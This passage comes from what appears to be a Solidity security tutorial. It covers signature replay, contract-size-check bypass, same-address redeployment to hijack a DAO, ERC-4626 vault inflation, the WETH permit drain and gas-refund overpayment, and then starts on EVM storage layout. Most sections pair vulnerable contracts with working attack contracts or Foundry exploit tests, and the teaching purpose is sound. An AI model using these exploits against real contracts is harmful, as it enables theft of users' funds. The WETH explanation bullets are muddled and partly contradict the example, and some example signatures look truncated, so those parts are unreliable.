    // Helper function to check balance
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

Preventative Techniques

- Don't use `blockhash` and `block.timestamp` as source of randomness

3.13 Signature Replay

An example of a contract vulnerable to signature replay attack

Signing messages off-chain and having a contract that requires that signature before executing a function is a useful technique.

For example this technique is used to:

- reduce the number of transaction on chain
- gas-less transaction, called `meta transaction`

Vulnerability

Same signature can be used multiple times to execute a function. This can be harmful if the signer's intention was to approve a transaction once.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./ECDSA.sol";

contract MultiSigWallet {
    using ECDSA for bytes32;

    address[2] public owners;

    constructor(address[2] memory _owners) payable {
        owners = _owners;
    }

    function deposit() external payable {}

    function transfer(address _to, uint256 _amount, bytes[2] memory _sigs)
        external
    {
        bytes32 txHash = getTxHash(_to, _amount);
        require(_checkSigs(_sigs, txHash), "invalid sig");

        (bool sent,) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getTxHash(address _to, uint256 _amount)
        public
        view
        returns (bytes32)
    {
        return keccak256(abi.encodePacked(_to, _amount));
    }

    function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
        private
        view
        returns (bool)
    {
        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();
```

```
        for (uint256 i = 0; i < _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == owners[i];

            if (!valid) {
                return false;
            }
        }

        return true;
    }
}
```

Preventative Techniques

Sign messages with `nonce` and address of the contract.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./ECDSA.sol";

contract MultiSigWallet {
    using ECDSA for bytes32;

    address[2] public owners;
    mapping(bytes32 => bool) public executed;

    constructor(address[2] memory _owners) payable {
        owners = _owners;
    }

    function deposit() external payable {}

    function transfer(
        address _to,
        uint256 _amount,
        uint256 _nonce,
        bytes[2] memory _sigs
    ) external {
        bytes32 txHash = getTxHash(_to, _amount, _nonce);
        require(!executed[txHash], "tx executed");
        require(_checkSigs(_sigs, txHash), "invalid sig");

        executed[txHash] = true;

        (bool sent,) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }

    function getTxHash(address _to, uint256 _amount, uint256 _nonce)
        public
        view
        returns (bytes32)
    {
        return keccak256(abi.encodePacked(address(this), _to, _amount, _nonce));
    }

    function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash)
```

```
        private
        view
        returns (bool)
    {
        bytes32 ethSignedHash = _txHash.toEthSignedMessageHash();

        for (uint256 i = 0; i < _sigs.length; i++) {
            address signer = ethSignedHash.recover(_sigs[i]);
            bool valid = signer == owners[i];

            if (!valid) {
                return false;
            }
        }

        return true;
    }
}

/*
// owners
0xe19aea93F6C1dBef6A3776848bE099A7c3253ac8
0xfa854FE5339843b3e9Bfd8554B38BD042A42e340

// to
0xe10422cc61030C8B3dBCD36c7e7e8EC3B527E0Ac
// amount
100
// nonce
0
// tx hash
0x12a095462ebfca27dc4d99feef885bfe58344fb6bb42c3c52a7c0d6836d11448

// signatures
0x120f8ed8f2fa55498f2ef0a22f26e39b9b51ed29cc93fe0ef3ed1756f58fad0c6eb5a1d6f3671f8d5163639fdc40bb8720de6d8f2523077ad
0xa240a487de1eb5bb971e920cb0677a47ddc6421e38f7b048f8aa88266b2c884a10455a52dc76a203a1a9a953418469f9eec2c59e87201bbc8
*/
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)

library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV
    }

    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
```

```
        } else if (error == RecoverError.InvalidSignatureV) {
            revert("ECDSA: invalid signature 'v' value");
        }
    }

    function tryRecover(bytes32 hash, bytes memory signature)
        internal
        pure
        returns (address, RecoverError)
    {
        // Check the signature length
        // - case 65: r,s,v signature (standard)
        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else if (signature.length == 64) {
            bytes32 r;
            bytes32 vs;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            assembly {
                r := mload(add(signature, 0x20))
                vs := mload(add(signature, 0x40))
            }
            return tryRecover(hash, r, vs);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength);
        }
    }

    function recover(bytes32 hash, bytes memory signature)
        internal
        pure
        returns (address)
    {
        (address recovered, RecoverError error) = tryRecover(hash, signature);
        _throwError(error);
        return recovered;
    }

    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs)
        internal
        pure
        returns (address, RecoverError)
    {
        bytes32 s = vs
            & bytes32(
                0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
            );
        uint8 v = uint8((uint256(vs) >> 255) + 27);
        return tryRecover(hash, v, r, s);
    }
```

```
    function recover(bytes32 hash, bytes32 r, bytes32 vs)
        internal
        pure
        returns (address)
    {
        (address recovered, RecoverError error) = tryRecover(hash, r, vs);
        _throwError(error);
        return recovered;
    }

    function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s)
        internal
        pure
        returns (address, RecoverError)
    {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signatur
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defi
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-va
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead of 27/28, add 27 to v to ac
        // these malleable signatures as well.
        if (
            uint256(s)
                > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0
        ) {
            return (address(0), RecoverError.InvalidSignatureS);
        }
        if (v != 27 && v != 28) {
            return (address(0), RecoverError.InvalidSignatureV);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature);
        }

        return (signer, RecoverError.NoError);
    }

    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s)
        internal
        pure
        returns (address)
    {
        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
        _throwError(error);
        return recovered;
    }

    function toEthSignedMessageHash(bytes32 hash)
        internal
        pure
        returns (bytes32)
    {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        return keccak256(
            abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
        );
```

```
    }
}
```

Explanation:

- A signature replay attack reuses a valid signature in a context it wasn't intended for.
- Same-chain replay: a `transfer(to, amount, sig)` function signed for one call can be submitted multiple times.
- Cross-chain replay: a signature valid on mainnet is also valid on a fork/testnet with the same `chainId`.
- **Fix:** include a nonce in every signed message and increment it after each use; include `address(this)` and `block.chainid` (EIP-712 does this via `DOMAIN_SEPARATOR`).
- EIP-712 typed structured data hashing provides a standard domain separator covering: contract name, version, chainId, verifying contract address.

3.14 Bypass Contract Size Check

An example of bypassing contract size check

Vulnerability

If an address is a contract then the size of code stored at the address will be greater than 0 right?

Let's see how we can create a contract with code size returned by `extcodesize` equal to 0.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}
```

3.15 Deploy Different Contracts at the Same Address

An example of a Solidity contract vulnerable to deploy different contracts at the same address

Contract address deployed with `create` is computed in the following way.

```
contract address = last 20 bytes of sha3(rlp_encode(sender, nonce))
```

where `sender` is the address of the deployer and `nonce` is the number of transactions sent by `sender`.

Hence it is possible to deploy different contracts at the same address if we can somehow reset the `nonce`.

Below is an example of how a DAO can be hacked.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Called by Alice
0. Deploy DAO

Called by Attacker
1. Deploy DeployerDeployer
2. Call DeployerDeployer.deploy()
3. Call Deployer.deployProposal()

Called by Alice
4. Get DAO approval of Proposal

Called by Attacker
5. Delete Proposal and Deployer
6. Re-deploy Deployer
7. Call Deployer.deployAttack()
8. Call DAO.execute
9. Check DAO.owner is attacker's address

DAO -- approved --> Proposal
DeployerDeployer -- create2 --> Deployer -- create --> Proposal
DeployerDeployer -- create2 --> Deployer -- create --> Attack
*/

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }

    address public owner = msg.sender;
    Proposal[] public proposals;

    function approve(address target) external {
        require(msg.sender == owner, "not authorized");

        proposals.push(
            Proposal({target: target, approved: true, executed: false})
        );
```

```
    }

    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");

        proposal.executed = true;

        (bool ok,) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

contract Proposal {
    event Log(string message);

    function executeProposal() external {
        emit Log("Executed code approved by DAO");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    event Log(string message);

    address public owner;

    function executeProposal() external {
        emit Log("Executed code not approved by DAO :)");
        // For example - set DAO's owner to attacker
        owner = msg.sender;
    }
}

contract DeployerDeployer {
    event Log(address addr);

    function deploy() external {
        bytes32 salt = keccak256(abi.encode(uint256(123)));
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
    }
}

contract Deployer {
    event Log(address addr);

    function deployProposal() external {
        address addr = address(new Proposal());
        emit Log(addr);
    }

    function deployAttack() external {
        address addr = address(new Attack());
        emit Log(addr);
    }
```

```
    function kill() external {
        selfdestruct(payable(address(0)));
    }
}
```

3.16 Vault Inflation

An example of vault inflation

Vulnerability

Vault shares can be inflated by donating ERC20 token to the vault.

Attacker can exploit this behavior to steal other user's deposits.

Example

User 0 front runs user 1's deposit.

1. User 0 deposits `1`.
2. User 0 donates `100 * 1e18`. This inflates the value of each share.
3. User 1 deposits `100 * 1e18`. This mints 0 shares to user 1.
4. User 0 withdraws all `200 * 1e18 + 1`.

Protections

- Min shares -> protects from front running
- Internal balance -> protects from donation
- Dead shares -> contract is first depositor
- Decimal offset (OpenZeppelin ERC4626)

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {
    IERC20,
    Vault,
    Token
} from "../../../src/hacks/vault-inflation/VaultInflation.sol";

uint8 constant DECIMALS = 18;

contract VaultTest is Test {
    Vault private vault;
    Token private token;

    address[] private users = [address(11), address(12)];

    function setUp() public {
        token = new Token();
        vault = new Vault(address(token));

        for (uint256 i = 0; i < users.length; i++) {
            token.mint(users[i], 10000 * (10 ** DECIMALS));
            vm.prank(users[i]);
            token.approve(address(vault), type(uint256).max);
        }
    }
```

```
    function print() private {
        console2.log("vault total supply", vault.totalSupply());
        console2.log("vault balance", token.balanceOf(address(vault)));
        uint256 shares0 = vault.balanceOf(users[0]);
        uint256 shares1 = vault.balanceOf(users[1]);
        console2.log("users[0] shares", shares0);
        console2.log("users[1] shares", shares1);
        console2.log("users[0] redeemable", vault.previewRedeem(shares0));
        console2.log("users[1] redeemable", vault.previewRedeem(shares1));
    }

    function test() public {
        // users[0] deposit 1
        console2.log("--- users[0] deposit ---");
        vm.prank(users[0]);
        vault.deposit(1);
        print();

        // users[0] donate 100
        console2.log("--- users[0] donate ---");
        vm.prank(users[0]);
        token.transfer(address(vault), 100 * (10 ** DECIMALS));
        print();

        // users[1] deposit 100
        console2.log("--- users[1] deposit ---");
        vm.prank(users[1]);
        vault.deposit(100 * (10 ** DECIMALS));
        print();
    }
}
```

Explanation:

- ERC-4626 vault inflation (donation) attack targets vaults that compute shares from `totalAssets()` which includes the raw token balance.
- Attack sequence: (1) deposit tiny amount to be first LP, getting 1 share; (2) donate large amount directly to vault (bypassing `deposit`), inflating `totalAssets`; (3) next depositor's shares round down to 0 due to integer division.
- Result: the attacker owns all shares and can redeem the victim's deposit too.
- **Fix:** virtual shares/assets — OpenZeppelin's ERC-4626 adds `10 ** decimalsOffset()` virtual shares/assets to the initial calculation so rounding-down attacks are impractical.
- This attack is why ERC-4626 vaults should never launch with zero liquidity.

3.17 WETH Permit

An example of WETH permit hack

Vulnerability

Most ERC20 have the `permit` function to approve a spender if a valid signature is provided.

However `WETH` does not. Surprisingly, when `permit` is called on `WETH`, the function call will execute without any errors.

This is because the `fallback` inside `WETH` is executed when `permit` is called.

Example

0. Alice gives infinite approval for `ERC20Bank` to spend `WETH`
1. Alice calls `deposit`, deposits 1 WETH into `ERC20Bank`
2. Attacker calls `depositWithPermit`, passes an empty signature and transfers all tokens from Alice into `ERC20Bank`, crediting the attacker for the deposit.
3. Attacker withdraws all tokens credited to him.

ERC20Bank

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./IERC20Permit.sol";

contract ERC20Bank {
    IERC20Permit public immutable token;
    mapping(address => uint256) public balanceOf;

    constructor(address _token) {
        token = IERC20Permit(_token);
    }

    function deposit(uint256 _amount) external {
        token.transferFrom(msg.sender, address(this), _amount);
        balanceOf[msg.sender] += _amount;
    }

    function depositWithPermit(
        address owner,
        address recipient,
        uint256 amount,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        token.permit(owner, address(this), amount, deadline, v, r, s);
        token.transferFrom(owner, address(this), amount);
        balanceOf[recipient] += amount;
    }
```

```
    function withdraw(uint256 _amount) external {
        balanceOf[msg.sender] -= _amount;
        token.transfer(msg.sender, _amount);
    }
}
```

Exploit

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test, console2} from "forge-std/Test.sol";
import {WETH} from "../../../src/hacks/weth-permit/WETH.sol";
import {ERC20Bank} from "../../../src/hacks/weth-permit/ERC20Bank.sol";

contract ERC20BankExploitTest is Test {
    WETH private weth;
    ERC20Bank private bank;
    address private constant user = address(11);
    address private constant attacker = address(12);

    function setUp() public {
        weth = new WETH();
        bank = new ERC20Bank(address(weth));

        deal(user, 100 * 1e18);
        vm.startPrank(user);
        weth.deposit{value: 100 * 1e18}();
        weth.approve(address(bank), type(uint256).max);
        bank.deposit(1e18);
        vm.stopPrank();
    }

    function test() public {
        uint256 bal = weth.balanceOf(user);
        vm.startPrank(attacker);
        bank.depositWithPermit(user, attacker, bal, 0, 0, "", "");
        bank.withdraw(bal);
        vm.stopPrank();

        assertEq(weth.balanceOf(user), 0, "WETH balance of user");
        assertEq(
            weth.balanceOf(address(attacker)),
            99 * 1e18,
            "WETH balance of attacker"
        );
    }
}
```

Other contracts

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
```

```
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address dst, uint256 amount) external returns (bool);
    function transferFrom(address src, address dst, uint256 amount)
        external
        returns (bool);

    event Transfer(address indexed src, address indexed dst, uint256 amount);
    event Approval(
        address indexed owner, address indexed spender, uint256 amount
    );
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./IERC20.sol";

interface IERC20Permit is IERC20 {
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

abstract contract ERC20 {
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(
        address indexed owner, address indexed spender, uint256 amount
    );

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function approve(address spender, uint256 amount)
        public
        virtual
```

```
        returns (bool)
    {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount)
        public
        virtual
        returns (bool)
    {
        balanceOf[msg.sender] -= amount;
        unchecked {
            balanceOf[to] += amount;
        }
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount)
        public
        virtual
        returns (bool)
    {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            allowance[from][msg.sender] = allowed - amount;
        }
        balanceOf[from] -= amount;
        unchecked {
            balanceOf[to] += amount;
        }
        emit Transfer(from, to, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {
            balanceOf[to] += amount;
        }
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {
            totalSupply -= amount;
        }
        emit Transfer(from, address(0), amount);
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./ERC20.sol";

contract WETH is ERC20 {
    event Deposit(address indexed account, uint256 amount);
```

```
    event Withdraw(address indexed account, uint256 amount);

    constructor() ERC20("Wrapped Ether", "WETH", 18) {}

    fallback() external payable {
        deposit();
    }

    function deposit() public payable {
        _mint(msg.sender, msg.value);
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        _burn(msg.sender, amount);
        payable(msg.sender).transfer(amount);
        emit Withdraw(msg.sender, amount);
    }
}
```

Explanation:

- The WETH9 contract (the canonical Wrapped Ether) does NOT implement EIP-2612 permit, despite some platforms assuming it does.
- Attack: a phishing contract calls `transferFrom(victim, attacker, amount)` after the victim signed a permit — but WETH9's permit does nothing, so transferFrom falls through to a raw allowance check, and the attacker needs a separate approval.
- However, a newer `ERC20Bank` that wraps permit can be exploited if it calls `token.permit(...)` silently — and the token either ignores the call (no-op) or the ERC20Bank doesn't verify the result.
- **Fix:** when building contracts that use permit, verify the allowance AFTER calling permit — don't assume the permit succeeded.
- Always check whether a specific ERC-20 token actually implements permit before relying on it.

3.18 63 / 64 Gas Rule

An example of 63 / 64 gas rule

According to 63 / 64 gas rule, external calls receive at most 63 / 64 of remaining gas in the calling contract.

Vulnerability

Contracts that refund gas used must account for this 1/64 gas that is not spent.

Here is a simplified example of a contract that refunds gas.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract A {
    function f(address b) external {
        uint256 gasStart = gasleft();
        B(payable(b)).g(msg.sender, gasStart);
    }
}

contract B {
    event Log(uint256 gas);

    mapping(address => bool) public authorized;

    constructor() {
        authorized[msg.sender] = true;
    }

    receive() external payable {}

    function setAuth(address addr, bool auth) external {
        require(authorized[msg.sender], "not authorized");
        authorized[addr] = auth;
    }

    // Send 9000000000000000000 gas to drain ETH
    function g(address receiver, uint256 gasStart) external {
        require(authorized[msg.sender], "not authorized");

        uint256 gasNow = gasleft();
        uint256 gasUsed = gasStart - gasNow;
        // Fix
        //uint256 gasUsed = gasStart - (gasNow / 63) - gasNow;
        (bool ok,) = receiver.call{value: gasUsed}("");
        require(ok, "send failed");

        emit Log(gasUsed);
    }
}

/*
# 63 / 64 gas rule
External calls receive max 63 / 64 of gas left in current contract
1 / 64 gas is kept in the current contract
```

```
g0 = call to gasleft() somewhere in A
g1 = call to gasleft() somewhere in B
g* = Actual gas left immediately before call to B

  g*    63/64 g*
A |---->| B
|         |
g0        g1

# Gas used
dg = gas used between g0 and g1
   = g0 - g* + 63/64 g* - g1
   = g0 - g1 - 1/64 g* >= 0

# Problem
- Refund of g0 - g1 over pays by 1/64 g*
- g* can be large by sending large amount of gas

# Fix
g1 <= 63/64 g* <= g0
g1/63 <= 1/64 g* <= g0/63
g0 - g1 - g1/63 >= g0 - g1 - 1/64 g* >= g0 - g1 - 1/63 g0 = 62/63 g0 - g1
                                     >= 0

Refund g0 - g1 - g1/63
*/
```

Chapter 4 — EVM Internals

4.1 EVM Storage

Example of EVM storage in Solidity

Examples of

- Reading and writing to storage with `assembly`
- Storage layout of different data types

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// Yul - language used for Solidity inline assembly
contract YulIntro {
    // Yul assignment
    function test_yul_var() public pure returns (uint256) {
        uint256 s = 0;

        assembly {
            // Declare variable
            let x := 1
            // Reassign
            x := 2
            // Assign to Solidity variable
            s := 2
        }

        return s;
    }

    // Yul types (everything is bytes32)
    function test_yul_types()
        public
        pure
        returns (bool x, uint256 y, bytes32 z)
    {
        assembly {
            x := 1
            y := 0xaaa
            z := "Hello Yul"
        }

        return (x, y, z);
    }
}

contract EVMStorageSingleSlot {
    // EVM storage
    // 2**256 slots, each slot can store up to 32 bytes
    // Slots are assigned in the order the state variables are declared
    // Data < 32 bytes are packed into a slot (right to left)
    // sstore(k, v) = store v to slot k
    // sload(k) = load 32 bytes from slot k

    // Single variable stored in one slot
    // slot 0
    uint256 public s_x;
    // slot 1
    uint256 public s_y;
    // slot 2
```

```
    bytes32 public s_z;

    function test_sstore() public {
        assembly {
            sstore(0, 111)
            sstore(1, 222)
            sstore(2, 0xababab)
        }
    }

    function test_sstore_again() public {
        // Access slot using .slot
        assembly {
            sstore(s_x.slot, 123)
            sstore(s_y.slot, 456)
            sstore(s_z.slot, 0xcdcdcd)
        }
    }

    function test_sload()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(0)
            y := sload(1)
            z := sload(2)
        }

        return (x, y, z);
    }

    function test_sload_again()
        public
        view
        returns (uint256 x, uint256 y, bytes32 z)
    {
        assembly {
            x := sload(s_x.slot)
            y := sload(s_y.slot)
            z := sload(s_z.slot)
        }

        return (x, y, z);
    }
}

contract EVMStoragePackedSlotBytes {
    // slot 0 (packed right to left)
    bytes4 public b4 = 0xabababab;
    bytes2 public b2 = 0xcdcd;

    function get() public view returns (bytes32 b32) {
        assembly {
            b32 := sload(0)
        }
    }
}

contract BitMasking {
    function test_mask() public pure returns (bytes32 mask) {
        assembly {
```

```
            // |       256 bits        |
            // 000 ... 000 | 111 ... 111
            //             | 16 bits
            // 0x0000000000000000000000000000000000000000000000000000000000000000ffff
            mask := sub(shl(16, 1), 1)
        }
    }

    function test_shift_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 000 ... 000 | 111 ... 111 | 000 ... 000 |
            //             | 16 bits     | 32 bits
            // 0x0000000000000000000000000000000000000000000000000000ffff00000000
            mask := shl(32, sub(shl(16, 1), 1))
        }
    }

    function test_not_mask() public pure returns (bytes32 mask) {
        assembly {
            // |               256 bits                |
            // 111 ... 111 | 000 ... 000 | 111 ... 111 |
            //             | 16 bits     | 32 bits
            // 0xffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff
            mask := not(shl(32, sub(shl(16, 1), 1)))
        }
    }
}

contract EVMStoragePackedSlot {
    // Data < 32 bytes are packed into a slot
    // Bit masking (how to create 111...111)
    // slot, offset

    // slot 0
    uint128 public s_a;
    uint64 public s_b;
    uint32 public s_c;
    uint32 public s_d;
    // slot 1
    // 20 bytes = 160 bits
    address public s_addr;
    // 96 bits
    uint64 public s_x;
    uint32 public s_y;

    function test_sstore() public {
        assembly {
            // Load 32 bytes from slot0
            let v := sload(0)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 11
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 11
            v := or(v, 11)
```

```
            // Set s_b = 22
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(128, sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(128, 22))

            // Set s_c = 33
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(192, sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(192, 33))

            // Set s_d = 44
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(224, sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(224, 44))

            // Store new value to slot0
            sstore(0, v)
        }
    }

    function test_slot_0_offset()
        public
        pure
        returns (
            uint256 a_offset,
            uint256 b_offset,
            uint256 c_offset,
            uint256 d_offset
        )
    {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            a_offset := s_a.offset
            b_offset := s_b.offset
            c_offset := s_c.offset
            d_offset := s_d.offset
        }
    }

    function test_slot_1_offset()
        public
        pure
        returns (uint256 addr_offset, uint256 x_offset, uint256 y_offset)
    {
        // addr_offset = 0
        // x_offset = 20
        // y_offset = 28
        assembly {
            addr_offset := s_addr.offset
            x_offset := s_x.offset
```

```
            y_offset := s_y.offset
        }
    }

    // slot and offset
    function test_sstore_using_offset() public {
        // a_offset =  0 =  0 * 8 =   0 bits
        // b_offset = 16 = 16 * 8 = 128 bits
        // c_offset = 24 = 24 * 8 = 192 bits
        // d_offset = 28 = 28 * 8 = 224 bits
        assembly {
            // Load 32 bytes from slot0
            let v := sload(s_a.slot)

            // s_d | s_c | s_b | s_a
            // 32  | 32  | 64  | 128 bits

            // Set s_a = 111
            // mask = all 1s at and to the left of 128 bit counting from right
            //        111 ... 111 | 000 ... 000
            //                    |    128 bits
            let mask_a := not(sub(shl(128, 1), 1))
            // Set left most 128 bits to 0
            v := and(v, mask_a)
            // Set s_a = 1
            v := or(v, 111)

            // Set s_b = 222
            // mask = 111...111 | 000 ... 000 | 111 ... 111
            //                  |     64 bits |    128 bits
            let mask_b := not(shl(mul(s_b.offset, 8), sub(shl(64, 1), 1)))
            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
            v := and(v, mask_b)
            v := or(v, shl(mul(s_b.offset, 8), 222))

            // Set s_c = 333
            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_c := not(shl(mul(s_c.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
            v := and(v, mask_c)
            v := or(v, shl(mul(s_c.offset, 8), 333))

            // Set s_d = 444
            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
            //                  |   32 bits |     64 bits |    128 bits
            let mask_d := not(shl(mul(s_d.offset, 8), sub(shl(32, 1), 1)))
            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
            v := and(v, mask_d)
            v := or(v, shl(mul(s_d.offset, 8), 444))

            // Store new value to slot0
            sstore(s_a.slot, v)
        }
    }
}

contract EVMStorageStruct {
    struct SingleSlot {
        uint128 x;
        uint64 y;
        uint64 z;
    }
```

```
    struct MultipleSlots {
        uint256 a;
        uint256 b;
        uint256 c;
    }

    // slot 0
    SingleSlot public single = SingleSlot({x: 1, y: 2, z: 3});
    // slot 1, 2, 3
    MultipleSlots public multi = MultipleSlots({a: 11, b: 22, c: 33});

    function test_get_single_slot_struct()
        public
        view
        returns (uint128 x, uint64 y, uint64 z)
    {
        assembly {
            let s := sload(0)
            //  z |  y | x
            // 64 | 64 | 128 bits
            // Casting cuts off bits to the left
            x := s
            y := shr(128, s)
            z := shr(192, s)
        }
    }

    function test_get_multiple_slots_struct()
        public
        view
        returns (uint256 a, uint256 b, uint256 c)
    {
        assembly {
            a := sload(1)
            b := sload(2)
            c := sload(3)
        }
    }
}

contract EVMStorageConstants {
    // slot 0
    uint256 public s0 = 1;
    // Constants and immutables don't use storage
    uint256 public constant X = 123;
    address public immutable owner;
    // slot 1
    uint256 public s1 = 2;

    constructor() {
        owner = msg.sender;
    }

    function test_get_slots() public view returns (uint256 v0, uint256 v1) {
